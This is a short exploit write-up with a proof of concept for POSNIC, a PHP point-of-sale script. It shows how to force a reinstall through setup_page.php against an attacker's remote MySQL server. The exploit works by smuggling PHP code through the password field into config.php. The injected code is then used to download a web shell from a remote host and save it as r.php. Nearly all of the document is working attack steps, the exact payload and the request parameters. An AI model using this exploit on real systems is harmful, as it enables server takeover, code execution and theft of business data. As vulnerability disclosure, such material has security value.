/// Overview:
////////////////////////
 
POSNIC is PHP based point of sale script. This script is allowing CMS reinstalltion just by crafting parameters correctly. Vulnerability is in Setup_page.php page code. To exploit this issue, attacker need to setup remote MySQL server which is configured to accept from outside host.  
  
 
////////////////
///  POC   ////
///////////////

setup mysql server on a machine which accept mysql connection from remote host.
-> create one user with password
		";file_put_contents($_GET[2],file_get_contents($_GET[3]));//
-> create database with name "owned"
-> After setting up this thing, craft POST method request on page setup_page.php with post parameters
	select[]=1&select_box=owned&host=localhost&username=root&password=";file_put_contents($_GET[2],file_get_contents($_GET[3]));//&dummy=1&submit=INSTALL
		here
		select_box is the name of the remote server database name
		host is IP of remote server which is having MySQL server configured on it.
		username is the remote MySQL server user account name
		password parameter is the password of remote MySQL user account password and it must be
		";file_put_contents($_GET[2],file_get_contents($_GET[3]));//
-> After crafting request, config.php will get injected with code file_put_contents($_GET[2],file_get_contents($_GET[3]));
-> And finally to get web shell on server just access config.php file with these parameters
	http://127.0.0.1/POSNIC/config.php?2=r.php&3=http://remote_server/web_shell.txt

-> after accessing this, web shell hosted on remote_server (in txt format) will get save in POSNIC installation with file name r.php
